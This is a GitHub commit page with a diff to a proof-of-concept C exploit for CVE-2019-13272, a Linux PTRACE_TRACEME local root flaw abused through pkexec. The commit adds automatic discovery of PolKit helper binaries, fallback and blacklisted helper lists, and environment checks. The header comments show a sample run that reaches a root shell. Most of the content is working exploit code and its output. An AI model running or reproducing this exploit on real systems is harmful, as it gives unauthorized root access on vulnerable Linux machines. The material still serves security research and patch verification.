Skip to content

Commit ee73c56

Browse files
authored
Merge pull request bcoles#29 from bcoles/cve-2019-13272
Prefer automatic targeting over hardcoded helper list
2 parents e340a58 + dee0213 commit ee73c56

File tree

1 file changed

+128
-58
lines changed

1 file changed

+128
-58
lines changed

CVE-2019-13272/poc.c

Lines changed: 128 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,10 @@
11
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
2-
// Uses pkexec technique
2+
//
3+
// Uses pkexec technique. Requires execution within the context
4+
// of a user session with an active PolKit agent.
5+
//
6+
// Exploitation will fail if kernel.yama.ptrace_scope >= 2;
7+
// or SELinux deny_ptrace=on.
38
// ---
49
// Original discovery and exploit author: Jann Horn
510
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
@@ -14,6 +19,7 @@
1419
// Tested on:
1520
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
1621
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
22+
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic
1723
// - Ubuntu 19.04 kernel 5.0.0-15-generic
1824
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
1925
// - Linux Mint 17.3 kernel 4.4.0-89-generic
@@ -24,33 +30,37 @@
2430
// - Backbox 6 kernel 4.18.0-21-generic
2531
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
2632
// - Kali kernel 4.19.0-kali5-amd64
27-
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
2833
// - MX 18.3 kernel 4.19.37-2~mx17+1
2934
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
35+
// - CentOS 8 kernel 4.18.0-80.el8.x86_64
3036
// - Debian 9.4.0 kernel 4.9.0-6-amd64
3137
// - Debian 10.0.0 kernel 4.19.0-5-amd64
3238
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
3339
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
40+
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64
3441
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
3542
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
3643
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
3744
// - Antergos 18.7 kernel 4.17.6-1-ARCH
45+
// - lubuntu 19.04 kernel 5.0.0-13-generic
46+
// - Sabayon 19.03 kernel 4.20.0-sabayon
47+
// - Pop! OS 19.04 kernel 5.0.0-21-generic
3848
// ---
39-
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
40-
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
49+
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
50+
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root
4151
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
4252
// [.] Checking environment ...
4353
// [~] Done, looks good
44-
// [.] Searching for known helpers ...
45-
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
46-
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
54+
// [.] Searching policies for useful helpers ...
55+
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind
56+
// [.] Trying helper: /usr/libexec/gsd-backlight-helper
4757
// [.] Spawning suid process (/usr/bin/pkexec) ...
4858
// [.] Tracing midpid ...
4959
// [~] Attached to midpid
50-
// To run a command as administrator (user "root"), use "sudo <command>".
51-
// See "man sudo_root" for details.
52-
//
53-
// root@linux-mint-19-2:/home/user#
60+
// [root@localhost CVE-2019-13272]# id
61+
// uid=0(root) gid=0(root) groups=0(root),1000(user)
62+
// [root@localhost CVE-2019-13272]# uname -a
63+
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
5464
// ---
5565

5666
#define _GNU_SOURCE
@@ -80,23 +90,18 @@
8090
# define dprintf
8191
#endif
8292

83-
#define SAFE(expr) ({ \
84-
typeof(expr) __res = (expr); \
85-
if (__res == -1) { \
86-
dprintf("[-] Error: %s\n", #expr); \
87-
return 0; \
88-
} \
89-
__res; \
90-
})
91-
#define max(a,b) ((a)>(b) ? (a) : (b))
93+
/*
94+
* enabled automatic targeting.
95+
* uses pkaction to search PolKit policy actions for viable helper executables.
96+
*/
97+
#define ENABLE_AUTO_TARGETING 1
9298

9399
/*
94-
* execveat() syscall
95-
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
100+
* fall back to known helpers if automatic targeting fails.
101+
* note: use of these helpers may result in PolKit authentication
102+
* prompts on the session associated with the PolKit agent.
96103
*/
97-
#ifndef __NR_execveat
98-
# define __NR_execveat 322
99-
#endif
104+
#define ENABLE_FALLBACK_HELPERS 1
100105

101106
static const char *SHELL = "/bin/bash";
102107

@@ -111,13 +116,17 @@ struct stat st;
111116

112117
const char *helpers[1024];
113118

119+
/* known helpers to use if automatic targeting fails */
120+
#if ENABLE_FALLBACK_HELPERS
114121
const char *known_helpers[] = {
115122
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
116123
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
117124
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
125+
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper",
118126
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
119127
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
120128
"/usr/sbin/mate-power-backlight-helper",
129+
"/usr/sbin/xfce4-pm-helper",
121130
"/usr/bin/xfpm-power-backlight-helper",
122131
"/usr/bin/lxqt-backlight_backend",
123132
"/usr/libexec/gsd-wacom-led-helper",
@@ -126,7 +135,36 @@ const char *known_helpers[] = {
126135
"/usr/lib/gsd-backlight-helper",
127136
"/usr/lib/gsd-wacom-led-helper",
128137
"/usr/lib/gsd-wacom-oled-helper",
138+
"/usr/lib64/xfce4/session/xsfm-shutdown-helper",
129139
};
140+
#endif
141+
142+
/* helper executables known to cause problems (hang or fail) */
143+
const char *blacklisted_helpers[] = {
144+
"/xf86-video-intel-backlight-helper",
145+
"/cpugovctl",
146+
"/resetxpad",
147+
"/package-system-locked",
148+
"/cddistupgrader",
149+
};
150+
151+
#define SAFE(expr) ({ \
152+
typeof(expr) __res = (expr); \
153+
if (__res == -1) { \
154+
dprintf("[-] Error: %s\n", #expr); \
155+
return 0; \
156+
} \
157+
__res; \
158+
})
159+
#define max(a,b) ((a)>(b) ? (a) : (b))
160+
161+
/*
162+
* execveat() syscall
163+
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
164+
*/
165+
#ifndef __NR_execveat
166+
# define __NR_execveat 322
167+
#endif
130168

131169
/* temporary printf; returned pointer is valid until next tprintf */
132170
static char *tprintf(char *fmt, ...) {
@@ -272,31 +310,39 @@ static int check_env(void) {
272310
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
273311
exit(EXIT_FAILURE);
274312
}
275-
if (stat(pkaction_path, &st) != 0) {
276-
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
277-
exit(EXIT_FAILURE);
278-
}
279313

280314
if (stat("/dev/grsec", &st) == 0) {
281-
dprintf("[-] Warning: grsec is in use\n");
315+
dprintf("[!] Warning: grsec is in use\n");
282316
warn++;
283317
}
318+
284319
if (xdg_session == NULL) {
285320
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
286321
warn++;
287322
}
288-
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
323+
324+
if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
289325
dprintf("[!] Warning: Could not find active PolKit agent\n");
290326
warn++;
291327
}
328+
329+
if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) {
330+
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n");
331+
warn++;
332+
}
333+
292334
if (stat("/usr/sbin/getsebool", &st) == 0) {
293335
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
294336
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
295337
warn++;
296338
}
297339
}
298340

299-
dprintf("[~] Done, looks good\n");
341+
if (warn > 0) {
342+
dprintf("[~] Done, with %d warnings\n", warn);
343+
} else {
344+
dprintf("[~] Done, looks good\n");
345+
}
300346

301347
return warn;
302348
}
@@ -306,25 +352,32 @@ static int check_env(void) {
306352
* Check each action for allow_active=yes, extract the associated helper path,
307353
* and check the helper path exists.
308354
*/
355+
#if ENABLE_AUTO_TARGETING
309356
int find_helpers() {
357+
if (stat(pkaction_path, &st) != 0) {
358+
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path);
359+
return 0;
360+
}
361+
310362
char cmd[1024];
311363
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
312364
FILE *fp;
313365
fp = popen(cmd, "r");
314366
if (fp == NULL) {
315-
dprintf("[-] Failed to run: %s\n", cmd);
316-
exit(EXIT_FAILURE);
367+
dprintf("[-] Failed to run %s: %m\n", cmd);
368+
return 0;
317369
}
318370

319371
char line[1024];
320372
char buffer[2048];
321373
int helper_index = 0;
322374
int useful_action = 0;
375+
int blacklisted_helper = 0;
323376
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
324377
int needle_length = strlen(needle);
325378

326379
while (fgets(line, sizeof(line)-1, fp) != NULL) {
327-
/* check the action uses allow_active=yes*/
380+
/* check the action uses allow_active=yes */
328381
if (strstr(line, "implicit active:")) {
329382
if (strstr(line, "yes")) {
330383
useful_action = 1;
@@ -334,6 +387,7 @@ int find_helpers() {
334387

335388
if (useful_action == 0)
336389
continue;
390+
337391
useful_action = 0;
338392

339393
/* extract the helper path */
@@ -350,17 +404,23 @@ int find_helpers() {
350404
buffer[i] = found[needle_length + i];
351405
}
352406

353-
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
354-
strstr(&buffer[0], "/cpugovctl") != 0 ||
355-
strstr(&buffer[0], "/package-system-locked") != 0 ||
356-
strstr(&buffer[0], "/cddistupgrader") != 0) {
357-
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
358-
continue;
407+
/* check helper path against helpers defined in 'blacklisted_helpers' array */
408+
blacklisted_helper = 0;
409+
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {
410+
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {
411+
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]);
412+
blacklisted_helper = 1;
413+
break;
414+
}
359415
}
416+
if (blacklisted_helper == 1)
417+
continue;
360418

361419
/* check the path exists */
362-
if (stat(&buffer[0], &st) != 0)
420+
if (stat(&buffer[0], &st) != 0) {
421+
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]);
363422
continue;
423+
}
364424

365425
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
366426
helper_index++;
@@ -372,11 +432,12 @@ int find_helpers() {
372432
pclose(fp);
373433
return 0;
374434
}
435+
#endif
375436

376437
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
377438

378439
int ptrace_traceme_root() {
379-
dprintf("[.] Using helper: %s\n", helper_path);
440+
dprintf("[.] Trying helper: %s\n", helper_path);
380441

381442
/*
382443
* set up a pipe such that the next write to it will block: packet mode,
@@ -436,29 +497,38 @@ int main(int argc, char **argv) {
436497
exit(0);
437498
}
438499

439-
/* Search for known helpers defined in 'known_helpers' array */
440-
dprintf("[.] Searching for known helpers ...\n");
441500
int i;
442-
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
443-
if (stat(known_helpers[i], &st) == 0) {
444-
helper_path = known_helpers[i];
445-
dprintf("[~] Found known helper: %s\n", helper_path);
446-
ptrace_traceme_root();
447-
}
448-
}
449501

450-
/* Search polkit policies for helper executables */
451-
dprintf("[.] Searching for useful helpers ...\n");
502+
#if ENABLE_AUTO_TARGETING
503+
/* search polkit policies for helper executables */
504+
dprintf("[.] Searching policies for useful helpers ...\n");
452505
find_helpers();
453506
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
454507
if (helpers[i] == NULL)
455508
break;
456509

457-
if (stat(helpers[i], &st) == 0) {
458-
helper_path = helpers[i];
459-
ptrace_traceme_root();
460-
}
510+
if (stat(helpers[i], &st) != 0)
511+
continue;
512+
513+
helper_path = helpers[i];
514+
ptrace_traceme_root();
461515
}
516+
#endif
517+
518+
#if ENABLE_FALLBACK_HELPERS
519+
/* search for known helpers defined in 'known_helpers' array */
520+
dprintf("[.] Searching for known helpers ...\n");
521+
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
522+
if (stat(known_helpers[i], &st) != 0)
523+
continue;
524+
525+
helper_path = known_helpers[i];
526+
dprintf("[~] Found known helper: %s\n", helper_path);
527+
ptrace_traceme_root();
528+
}
529+
#endif
530+
531+
dprintf("[~] Done\n");
462532

463533
return 0;
464534
}

0 commit comments

Comments
 (0)